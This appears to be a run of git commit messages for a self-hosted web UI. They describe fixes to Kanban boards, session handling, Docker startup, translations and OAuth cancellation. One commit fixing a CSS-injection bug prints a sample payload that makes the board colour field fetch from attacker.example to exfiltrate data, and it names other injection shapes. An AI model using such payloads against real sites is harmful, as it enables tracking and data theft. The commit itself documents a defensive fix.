Two CI-red issues, both fixed:
1. Lint (F401): the new tests/test_session_unread_dot_on_visit.py imported
`re` but never used it. Dropped the import.
2. Test hang/timeout: loadSession() now routes its viewed-count/unread clear
through the new _acknowledgeSessionVisit() helper, but the PRE-EXISTING
tests/test_cross_session_message_load_isolation.py harness (which extracts
loadSession and stubs its deps) didn't define it — so the extracted
loadSession broke and the node driver hung to the 60s pytest-timeout.
Stubbed _acknowledgeSessionVisit + _sessionVisitHasUnreadState to no-ops
there, mirroring the pre-existing _setSessionViewedCount /
_clearSessionCompletionUnread stubs they replaced. That harness covers
cross-session load ordering + stale-reject, not unread-dot state, so a
no-op stub preserves its intent; the real helper is exercised by the PR's
own test_session_unread_dot_on_visit.py.
Verified: ruff forward gate clean; the timeout test passes in ~1s; the PR's
unread-dot suite 7/7.
_micRestartCount bounds the continuity auto-restart loop (_micMaxRestarts=20)
so a stolen audio session can't spin tight. But it only reset on
fresh-start / terminal-end / error -- never on a real onresult. So a long
mobile dictation with 20 natural pauses (each producing speech) hit the cap
mid-session and the mic silently stopped, undercutting the feature's whole
purpose ("keep dictation active through pauses").
Reset _micRestartCount=0 in sr.onresult: a real result proves the restarts
are PRODUCTIVE, not a failure spin. The cap still guards the failure case --
consecutive restarts that yield no speech (onend with no intervening
onresult) keep incrementing and trip the bound.
Regression test seeds the count AT the cap, fires a productive onresult, and
asserts the ensuing pause still restarts (count reset to 0 -> 1). Verified
fail-without / pass-with against boot.js.
The refresh claimed "Full translation coverage across all non-English
locales (no English fallback strings)", but measuring i18n.js directly
falsifies it: full-sentence keys are English-identical in several locales
(e.g. gateway_start_success: 'Gateway start completed.' appears verbatim in
4+ locale blocks) -- ~30/1574 keys for Czech (~2%), 66 for Polish, 140 for
Vietnamese, 243 for Turkish (~15%). These are genuine untranslated
fallbacks on recently added keys, consistent with the repo's documented
add-keys-with-English-fallback convention.
Reword the line to the accurate shape (near-full coverage, measured
fallback tail, backfilled by periodic translation passes) so the accuracy
refresh stays accurate.
AGENTS.md requires a CHANGELOG entry for user-visible behavior changes, and
this is one (a stale approval card went from a stuck "Approval response not
accepted." dead-end to clearing cleanly). The PR shipped the routes.js +
messages.js fix without a changelog note; this adds the [Unreleased] -> Fixed
entry crediting santastabber / b3nw, noting the #527 guard is preserved.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
AGENTS.md requires a CHANGELOG entry for user-visible behavior changes, and
this is one (local-backend command approvals went from 409-on-every-click to
working). The PR shipped the routes.py gate fix without a changelog note; this
adds the [Unreleased] -> Fixed entry crediting b3nw / claw-io (#4948).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The #4720 done-handler comment (9 lines) pushed the tab-anchor localStorage
sync (`hermes-webui-session` setItem + _setActiveSessionUrl) past the 800-char
proximity window that test_session_rotate_url_sync asserts the #3018 session-id
sync lives within — so the PR's `test (3.x, 2)` shards were failing on master's
own regression guard. The full pytest suite caught it; the PR's gate slice did
not run it.
Fix (behavior unchanged — the _oldestIdx reset stays in the same place, before
the re-filter, guarded):
- Trim the inline comment to one line (the full rationale is in the #4720 commit
+ issue), so the completion block stops overflowing the guard window.
- The reset statement legitimately grew the completion block even bare, so widen
test_session_rotate_url_sync's proximity window 800 -> 1000 (still well within
the single done/settled handler; the guard's intent is preserved).
test_session_rotate_url_sync + test_issue4720_* both pass.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The success path clears a stranded workspace-tree skeleton when the new
profile has no bound workspace (both switch branches), but the catch block
only restored the tree `if (S.session && S.session.workspace)` — with no
else. So a profile-switch failure while the workspace panel is open and the
(still-current) previous session has no workspace left the up-front skeleton
shimmering forever: the same skeleton-strand class the Codex/Opus gates
targeted, in the one path they didn't cover. Mirror the success-path
no-workspace handling in the failure path. Adds a static regression
assertion that the catch block clears the workspace skeleton.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The #4151 focus hook reopened both global sidebar streams on `focus` with a
bare `startGatewaySSE()`. But `startGatewaySSE()` is NOT idempotent — it begins
with an unconditional `stopGatewaySSE()` (sessions.js:3778), which closes the
live gateway EventSource, cancels its poll fallback (`stopGatewayPollFallback`),
and resets `_gatewayProbeInFlight` / `_gatewaySSEWarningShown`.
So on a transient blur shorter than the 1s debounce — where the blur-close
timer is cleared on the following focus and the stream was never torn down —
the focus handler still dropped and reconnected the gateway on every
window-switch, cancelling its fallback and resetting probe/warning state. That
is the exact thrash the debounce exists to prevent, in the multi-window PWA
scenario this PR targets. (`ensureSessionEventsSSE()` is already idempotent via
`if(_sessionEventsSSE) return`, so the session-events stream was unaffected;
only the gateway churned. greptile P1.)
Guard the reopen on the gateway actually being closed: `if(!_gatewaySSE)
startGatewaySSE()`, mirroring the session-events idempotency. A sustained blur
(timer fires → both streams closed) still reopens the gateway on focus; a
transient blur leaves the still-open gateway untouched. Verified with a
blur/focus/timer harness (transient → no teardown/reconnect; sustained → close
then reopen; CLI-disabled → stays closed) and a new regression guard
`test_focus_reopen_does_not_thrash_the_gateway_stream`.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The release diff committed 7 PNG review-crop screenshots under a root-level
.review-crops/ directory (652K) that nothing references — not the CHANGELOG,
docs HTML, or any source file. These are deep-review before/after scratch
shots, not durable UX evidence (the intended evidence lives in
docs/ui-ux/evidence/pr4024-*.png and is kept). Shipping them in v0.51.375
would bloat the repo history permanently for every user.
Remove the directory and add .review-crops/ to .gitignore (next to the
.local-review/ harness entry) so review scratch can't leak into a release
diff again — mirroring the stray-uv.lock drop in #3963.
No code or test change; the Transparent Stream feature is untouched.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
PR #2294 added the show_previous_messaging_sessions setting and a "Hide
from list" menu action for external sessions, but tripped 8 tests:
- 4 locale-parity tests (tests/test_{japanese,russian,spanish,chinese}_locale.py)
demand every en key be defined in ja/ru/es/zh blocks. The contributor
only added the 5 new keys to en + ko, leaving ja/ru/es/zh/it/de/zh-TW/pt/fr
missing them. tests/test_provider_quota_status.py also requires the two
settings_{label,desc}_previous_messaging_sessions keys in ALL 11 locales.
- tests/test_1466_sidebar_cancel_clarify.py read the first 5200 chars of
_openSessionActionMenu to find cancelSessionStream/delete actions; the
new "Hide from list" branch (17 lines for external sessions) pushed
those past the read window.
- tests/test_issue1611_session_profile_filtering.py grep'd for the
literal string `_keep_latest_messaging_session_per_source(scoped)`,
which no longer exists after the call was rewritten as a multi-line
keyword-arg form.
Fixes:
1. Translations for the 5 new i18n keys added to all 9 missing locales
(it, ja, ru, es, de, zh-CN, zh-TW, pt, fr):
- session_hide_external
- session_hide_external_desc
- session_hidden
- settings_label_previous_messaging_sessions
- settings_desc_previous_messaging_sessions
Where the locale already used the English fallback for related keys
(ru/es/de session_archive), I provided localized translations for the
new keys to match the project's general direction. Native-script
quality, not machine-translation.
2. test_1466 window bumped 5200 → 6400 with a comment explaining the
bump (mirrors the existing 3200→4400→5200 history annotations).
3. test_1611 dedupe-position check loosened to match the function name
without the `(scoped)` suffix so it tolerates both single-line and
keyword-arg call shapes.
Tests: full suite 5828 passed / 63 skipped / 0 failed (was 8 failed).
Behavioral harness verifies the toggle's claimed behavior — off (default)
hides reset/compression segments, on shows all rows in timestamp order.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Two non-blocking observations from the review, both addressed:
1. The bad-pattern grep listed `error_exit` as a literal token, but the
`error_exit()` function at docker_init.bash:5-10 only echoes the
strings `"!! ERROR: "` and `"!! Exiting script (ID: $$)"` — the
function name itself never appears in container logs. So
`grep -E -i "error_exit"` would only fire on stray debug prints of
the name, not on actual failures. The other patterns
(`Failed to set (UID|GID|...)`, `groupmod: cannot`, etc.) DO catch
real error_exit output, so this wasn't a coverage gap — just a dead
token.
Add `!! ERROR` and `!! Exiting script` to the bad-pattern set so the
grep actually matches the function's output. Keep the literal
`error_exit` token as belt-and-suspenders for any debug/echo of the
name.
2. `test_docker_init_excludes_egg_info_during_staging` was a single
`assert "egg-info" in src` check. That passes if any occurrence
appears — including the explanatory comment block above the staging
logic. A maintainer removing the `--exclude='*.egg-info'` from
rsync but keeping the comment would slip past the test.
Tighten to:
- scope to the staging block (between `_stage_src=` and the
`uv pip install` line) so comments outside that window can't
satisfy the assertion;
- require the literal `--exclude='*.egg-info'` rsync flag;
- require `*.egg-info` in the block so the cp-fallback cleanup is
also pinned;
- additionally require `--exclude='build'`, `--exclude='dist'`,
`--exclude='__pycache__'` so all four setuptools-touchable
artifact dirs stay excluded.
Verified:
- tests/test_docker_docs_and_readonly.py — 11/11 pass.
- YAML parses cleanly via `yaml.safe_load`.
- Full suite: 5770 passed, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
PR #2470 introduces a `:ro` mount for the `hermes-agent-src` named volume
on the WebUI side of `docker-compose.{two,three}-container.yml`. The
WebUI's docker_init.bash unconditionally runs `chown_home_hermeswebui`
which walks `/home/hermeswebui` with `find -exec chown -h {} +`,
pruning only `/home/hermeswebui/.hermes/hermes-agent/.git/objects` (the
narrow #2237 fix for macOS bind mounts).
With the new `:ro` mount, every other file inside the hermes-agent
subtree is also on a read-only filesystem. `chown` returns `EROFS`,
`find -exec ... +` propagates the non-zero exit, and the wrapping
`chown_home_hermeswebui || error_exit "..."` under `set -e` kills the
container before the WebUI server can run.
Verified locally:
$ /usr/bin/find /tmp/ftest -exec false {} +
$ echo $?
1
So `find` does propagate `-exec` command failures, which the existing
`|| error_exit` then catches.
The WebUI never writes to the agent source — `uv pip install
/home/hermeswebui/.hermes/hermes-agent` is a pure read. So aligning
ownership inside the agent subtree was always a nicety, not a
requirement. Widen the prune to skip the entire
`/home/hermeswebui/.hermes/hermes-agent` path. This also subsumes the
original #2237 case (the `.git/objects` packs are inside the now-pruned
subtree) without needing a separate carve-out.
Test updates:
- Renamed `test_home_chown_skips_hermes_agent_git_objects` →
`test_home_chown_skips_hermes_agent_subtree`, and pinned the broader
prune target (`-path ".../hermes-agent" -prune`).
- Added `test_home_chown_helper_documents_readonly_mount_compat` so a
future maintainer narrowing the prune back to `.git/objects` (and
re-introducing the EROFS failure mode) trips a regression.
Verified:
- `tests/test_issue2237_docker_chown_git_objects.py` 4/4 pass.
- `tests/test_docker_docs_and_readonly.py` 9/9 pass.
- Full suite: 5738 passed, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`_isDesktopWidth()` in boot.js gates every collapse path on
`matchMedia('(min-width:641px)')` — matching where the rail itself becomes
visible. The CSS rules driving the actual visual collapse were nested inside
the workspace-panel block at `@media(min-width:901px)` — a threshold copied
from the right-panel collapse but with no functional reason to apply here.
Behavioural consequence in the 641–900 px band (tablet portrait + small
laptop windows):
- Rail is visible, user clicks the active icon
- JS adds `.layout.sidebar-collapsed` and writes localStorage='1'
- JS sets aria-expanded='false' on the active rail button
- CSS at min-width:901px does NOT apply → sidebar stays at 300 px width
- User sees no visual change; screen reader announces collapsed state for
a sidebar that is still visible; localStorage silently persists
- Resize to ≥901 px later → sidebar suddenly collapses (surprise state)
Fix: hoist the three `.sidebar-collapsed` / flash-prevention rules out of
the workspace-panel @media block and into their own `@media(min-width:641px)`
block. The rail visibility breakpoint, the JS gate, and the CSS gate now
all agree.
`:not(.mobile-open)` is preserved on both selectors so the mobile slide-in
overlay (handled in the `max-width:640px` block) is never targeted — the
new @641 boundary doesn't change that contract.
Verified breakpoint matrix end-to-end (Node harness over real boot.js +
style.css):
Width | JS desktop | CSS applies | Effect
------|------------|-------------|------------
640 | no | no | no-op (mobile overlay)
641 | yes | yes | collapses ✓
700 | yes | yes | collapses ✓
768 | yes | yes | collapses ✓
900 | yes | yes | collapses ✓
1024 | yes | yes | collapses ✓
Regression test added: `test_css_breakpoint_matches_js_isdesktopwidth`
parses boot.js for the `_isDesktopWidth` matchMedia query, walks CSS to
find the @media block enclosing `.layout.sidebar-collapsed`, and asserts
the thresholds match. Locks the invariant so a future refactor can't
re-introduce the asymmetric-band silent-state-leak.
Test counts:
- tests/test_sidebar_collapse_toggle.py: 35/35 pass (was 34, +1 regression)
- Full suite (Python 3.14, local): 5040 passed, 0 failed
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
PR #1900 patches the two get_model_context_length() fallback callsites in
api/streaming.py to pass config_context_length, provider, and
custom_providers — but a third callsite of the same shape lives at
api/routes.py:2849, in the /api/session/get path that resolves
context_length for older sessions (pre-#1318) that have context_length=0
persisted.
Same bug shape: only `(model, base_url)` were forwarded, so the resolver
fell through to the 256K DEFAULT_FALLBACK_CONTEXT even when the user had
`model.context_length: 1048576` set in config.yaml. Visible symptom: the
very first paint of a reloaded old session shows the wrong window in the
chat-toolbar indicator until a turn fires (which would then trigger the
streaming.py fallbacks fixed in this PR and overwrite with the correct
value).
Fix mirrors streaming.py: pass `config_context_length=`,
`provider=effective_provider or ""`, and `custom_providers=` from the
per-profile config (`get_config()`), with a TypeError fallback that
retries the legacy 2-arg form for older hermes-agent builds whose
get_model_context_length signature pre-dates the new kwargs.
Adds `test_routes_session_load_fallback_passes_config_overrides` to lock
the call shape — verified to fail pre-fix with the same "missing
config_context_length=" error the streaming.py tests catch.
Defense-in-depth completion of #1896 — closes the third leg of the same
bug shape.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
PR #1854 added a math stash to _renderUserFencedBlocks so backslash LaTeX
delimiters (\[..\], \(..\)) survive esc() and reach the KaTeX renderer in
user bubbles. The stash ran BEFORE the existing code-fence stash, so a
user-typed code block containing LaTeX-like syntax was extracted as
KaTeX and rendered as math inside <pre><code>:
```
\[ a + b \] is wrong
```
→ <pre><code><div class="katex-block"> a + b </div> is wrong</code></pre>
renderMd() (assistant path) handles this correctly by running fence_stash
before math_stash. The user-bubble path got the order inverted. Fix:
stash code fences first, then run the math regexes on the
outside-of-fence text only. Both top-level math and code-fenced literals
now render correctly:
- "math: \[ x + y \]" → KaTeX block
- "```\n\[ a + b \]\n```" → literal <pre><code>\[ a + b \]</code></pre>
Adds two regression tests:
- test_user_code_block_with_latex_syntax_renders_as_literal_code
(fails pre-fix, asserts no KaTeX wrappers inside <pre><code>)
- test_user_bubble_top_level_latex_still_renders_after_fence_reorder
(sibling guard against over-correcting and disabling math entirely)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
PR #1837's new `_kanban_unknown_endpoint` wrapper was triggered for any
falsy bridge return — but `handle_kanban_*` returns `None` (not `True`)
when an inner handler calls `bad(...)` to send an error response. The
wrapper then sent a SECOND 404 on top of the bridge's response, producing
concatenated JSON bodies on the wire.
Concrete reproducer (caught by behavioural harness, not the merged tests):
GET /api/kanban/tasks/<missing-id>/log
→ '{"error":"task not found"}{"error":"unknown Kanban endpoint: GET ..."}'
This affected every `bad(...)`-shaped error path in the bridge:
- task-not-found returns from `_task_log_payload` / `_task_detail_payload`
- exception handlers for ImportError (503), LookupError (404),
ValueError (400), RuntimeError (409) across all four method handlers
- the `_handle_events_sse_stream` board-resolution failure path
The fix: distinguish an explicit `False` (truly unmatched path) from
`None` (handled, response already sent). Only `False` should trigger
the unknown-endpoint diagnostic.
Adds a regression test that exercises the task-not-found path through
`routes.handle_get` and asserts only one JSON body is on the wire.
Follow-on to #1837 (already merged into master at v0.51.20).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
tests/test_session_lineage_collapse.py invokes 'node -e <source>' where
<source> embeds the entire static/sessions.js content. Linux's
MAX_ARG_STRLEN is 131,072 bytes per argv arg; sessions.js plus the test
scaffolding now exceeds that limit, producing OSError(Argument list too
long).
Switching to 'node' with source via stdin removes the limit. No behavioral
change to the tests themselves — they still exercise the same JS functions
on the same input data.
Per Opus advisor on stage-299:
1. Bounded WIKI_PATH walk + forbidden-root guard (api/routes.py)
- _LLM_WIKI_MAX_FILES = 10000 caps rglob iteration (prevents hangs on
symlink loops or pathologically-large trees)
- _LLM_WIKI_FORBIDDEN_ROOTS blocklist refuses '/' '/etc' '/usr' '/var'
'/opt' '/sys' '/proc' even if WIKI_PATH is misconfigured to point
at them
- Self-DoS prevention: /api/wiki/status fires on every Insights tab
open via Promise.all, and unbounded rglob would block the endpoint
2. URL-scheme guard for docs_url interpolation (static/panels.js)
- rawDocsUrl is regex-validated against /^https?:\/\//i before being
interpolated into the <a href=> attribute
- esc() HTML-escapes but doesn't validate URL scheme; docs_url is
server-controlled today but the contributor scaffolded it for
potential config-driven use, so future-proof against javascript:
scheme XSS
6 regression tests in tests/test_stage299_opus_fixes.py pin both fixes.
PR #1669 added DOM virtualization to renderSessionListFromCache() with two issues
for lists below the virtualization threshold (≤80 rows):
1. The unconditional scroll listener triggered renderSessionListFromCache() on
every rAF, rebuilding the entire list DOM on every scroll event.
2. After each rebuild, scrollTop was only restored when virtualWindow.virtualized
was true (i.e. total > 80). For lists ≤ 80 rows, scrollTop dropped to 0 on
every scroll event, producing a 'scroll keeps jumping back' feel.
Fix:
- Always restore scrollTop after re-render when listScrollTopBeforeRender > 0
(regardless of virtualized flag).
- Short-circuit _scheduleSessionVirtualizedRender when total <=
SESSION_VIRTUAL_THRESHOLD_ROWS (saves wasteful rebuild on small lists).
Live verified on a 56-session sidebar: scrollTop holds across animation frames.
3 regression tests pin the fix shape.
CHANGELOG.md: full v0.51.1 entry covering all 11 constituent PRs
ROADMAP.md: bump version + test count to 4429
TESTING.md: bump version + test count to 4429
Independent review: Opus advisor on stage-298 diff (4749 LOC).
6/6 security/correctness questions verified clean. Verdict: SHIP.
0 MUST-FIX, 0 SHOULD-FIX. Two polish notes deferred to follow-up.
CHANGELOG.md: full v0.51.0 entry covering the 12-commit Kanban stack
(#1645, #1646, #1647, #1649, #1654, #1655, #1660, #1675) including
multi-board management, SSE event stream, dispatcher contract enforcement,
CSS-injection fix, archive race fix, mobile responsive, and 35 new
Kanban-specific tests (33 -> 68).
ROADMAP.md, TESTING.md: bumped to v0.51.0 / 4356 tests / 'Kanban v1 launch'.
Major version bump from 0.50.x -> 0.51.0 reflects the size and significance
of the feature: first-party-compatible Kanban surface (CRUD on /api/kanban/boards
+ real-time SSE event stream) parity-verified against the Hermes Agent
dashboard plugin. Independent review APPROVED, Opus advisor SHIP, all
SHOULD-FIX absorbed in-release with regression tests.
Two SHOULD-FIX items from the Opus advisor pass on PR #1675:
1. **PATCH/DELETE handler routing asymmetry**. The /boards/<slug> path
match was running AFTER ?board= resolution, so a stray ?board=ghost
on a 'PATCH /api/kanban/boards/experiments?board=ghost' would 404 on
the missing 'ghost' board instead of editing 'experiments'. POST
already routed /boards first; PATCH/DELETE now mirror that structure.
The ?board= query is still resolved for the task-scoped routes that
actually need it.
2. **SSE event frames now emit 'id: <event_id>' lines**. EventSource
stores Last-Event-ID and sends it on auto-reconnect; without an 'id:'
field on each frame the browser couldn't resume cleanly across
connection drops, forcing the server to re-stream up to
_KANBAN_SSE_BATCH_LIMIT=200 events the client already had. The
handler now (a) emits 'id: <cursor>' on every events frame, and
(b) reads Last-Event-ID from the request headers as a fallback when
?since= is absent.
+4 regression tests:
- test_handle_kanban_patch_routes_boards_slug_before_board_query_param
- test_handle_kanban_delete_routes_boards_slug_before_board_query_param
- test_sse_emits_id_lines_so_browser_can_resume_via_last_event_id
- test_sse_honours_last_event_id_header_when_since_absent
Total kanban tests: 67 -> 68 (CSS-injection fix in 60874db) -> 72 (this).
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
Four follow-up issues found in the combined-stack live verification:
(1) handle_kanban_get had no exception handler; ImportError (webui-only deploy
without hermes_cli), ValueError, LookupError, RuntimeError would bubble
as 500. Wrapped in same exception cascade as POST/PATCH/DELETE.
(2) ImportError on any verb now returns 503 "kanban unavailable: <reason>"
instead of 500. Frontend's existing try/catch surfaces a clean toast.
(3) The 'Read-only view' banner (legacy of read-only PR #1645) was always
visible regardless of actual board state. Default-hidden in HTML;
loadKanban() toggles based on _kanbanBoard.read_only.
(4) .btn / .btn.secondary class names were referenced in 4 places (Bulk
action / Nudge dispatcher / New task / Back to board) but no matching
CSS shipped — buttons rendered as browser-default beveled controls
that clashed with the dark theme. Added scoped CSS rules under the
kanban-* parent containers.
+4 behavioral + static UI tests covering the contracts.
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
The Codex OAuth onboarding worker introduced in #1652 had a cancel-vs-worker
race: a `cancel_onboarding_oauth_flow` request that arrived while the worker
was mid-network-call (between the `live = dict(...)` snapshot and the next
status check) would be silently overridden:
1. User clicks Cancel → server sets flow.status = "cancelled" and drops
sensitive lifecycle fields under the lock.
2. Worker is mid-`_poll_codex_authorization` / `_exchange_codex_authorization`
using the local `live` snapshot it captured before the cancel.
3. Worker calls `_persist_codex_credentials(...)` — auth.json gets written.
4. Worker calls `_set_flow_status(flow_id, "success")` — overrides the
cancelled status.
Net effect: the user's explicit cancel is ignored, credentials are persisted,
and the UI reports success. Reproduced with a behavioural harness that drove
a real worker thread against patched network helpers and confirmed:
pre-fix : flow status `success`, auth.json written despite cancel
post-fix: flow status `cancelled`, auth.json NOT written
The fix re-checks the flow status under `_OAUTH_FLOWS_LOCK` after the token
exchange completes and before persisting. If the status is no longer
`pending`, the worker exits without persisting credentials and without
overwriting the terminal status.
Regression test `test_cancel_during_token_exchange_does_not_persist_credentials`
drives the worker against threading.Event-gated network stubs to reproduce
the race deterministically and lock the new invariant.
Trace verified against fresh hermes-agent tarball — credential_pool entry
shape (`auth_type=oauth`, `source=manual:device_code`, `priority=0`, base_url)
remains compatible with `agent.credential_pool.load_pool("openai-codex")` and
the agent CLI's `_save_codex_tokens` legacy fallback path.
Tests:
- 10/10 in tests/test_issue1362_codex_oauth_onboarding.py
- Full suite: 4230 passed, 57 skipped, 3 xpassed, 0 failed in 33.82s
